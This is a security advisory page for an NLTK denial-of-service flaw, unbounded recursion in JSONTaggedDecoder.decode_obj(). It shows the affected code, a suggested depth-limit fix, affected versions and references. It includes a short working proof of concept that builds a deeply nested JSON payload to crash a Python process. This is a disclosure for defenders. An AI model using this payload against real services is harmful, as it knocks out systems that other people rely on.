Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS
Summary
JSONTaggedDecoder.decode_obj() in nltk/jsontags.py calls itself
recursively without any depth limit. A deeply nested JSON structure
exceeding sys.getrecursionlimit() (default: 1000) will raise an
unhandled RecursionError, crashing the Python process.
Affected code
File: nltk/jsontags.py, lines 47–52
@classmethod
def decode_obj(cls, obj):
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
elif isinstance(obj, list):
obj = list(cls.decode_obj(val) for val in obj)
Proof of Concept
import sys, json
from nltk.jsontags import JSONTaggedDecoder
depth = sys.getrecursionlimit() + 50 # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth
# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
Impact
Any code path that passes externally-supplied JSON to
JSONTaggedDecoder is vulnerable to denial of service.
The severity depends on whether such a path exists in the
calling code (e.g. nltk/data.py).
Suggested Fix
Add a depth parameter with a hard limit:
@classmethod
def decode_obj(cls, obj, _depth=0):
if _depth > 100:
raise ValueError("JSON nesting too deep")
if isinstance(obj, dict):
obj = {key: cls.decode_obj(val, _depth + 1)
for (key, val) in obj.items()}
elif isinstance(obj, list):
obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | nltk | < 3.9.4 | 3.9.4 |
References
- https://www.vulncheck.com/advisories/nltk-before-denial-of-service-via-jsontaggeddecoder
- https://github.com/nltk/nltk/security/advisories/GHSA-rf74-v2fm-23pw
- https://nvd.nist.gov/vuln/detail/CVE-2026-66393
- https://github.com/nltk/nltk/commit/00cdcd392142e6c745e7120c8d50a24127df5fad
- https://github.com/nltk/nltk
- https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3724.yaml
- CVSS vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-674- Platform
- Python (PyPI)
- Package
nltk- Disclosed
- 18.03.2026
- Updated
- 11.10.2026 15:17
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-3724 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-rf74-v2fm-23pw - CC BY 4.0
Vulnerability history: nltk
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 52
- First → latest
- 08.2019 09.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 32
- Medium 13
- Low 2
Disclosures per year
- 2019: 1
- 2020: 0
- 2021: 2
- 2022: 1
- 2023: 0
- 2024: 1
- 2025: 0
- 2026: 47
-
Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.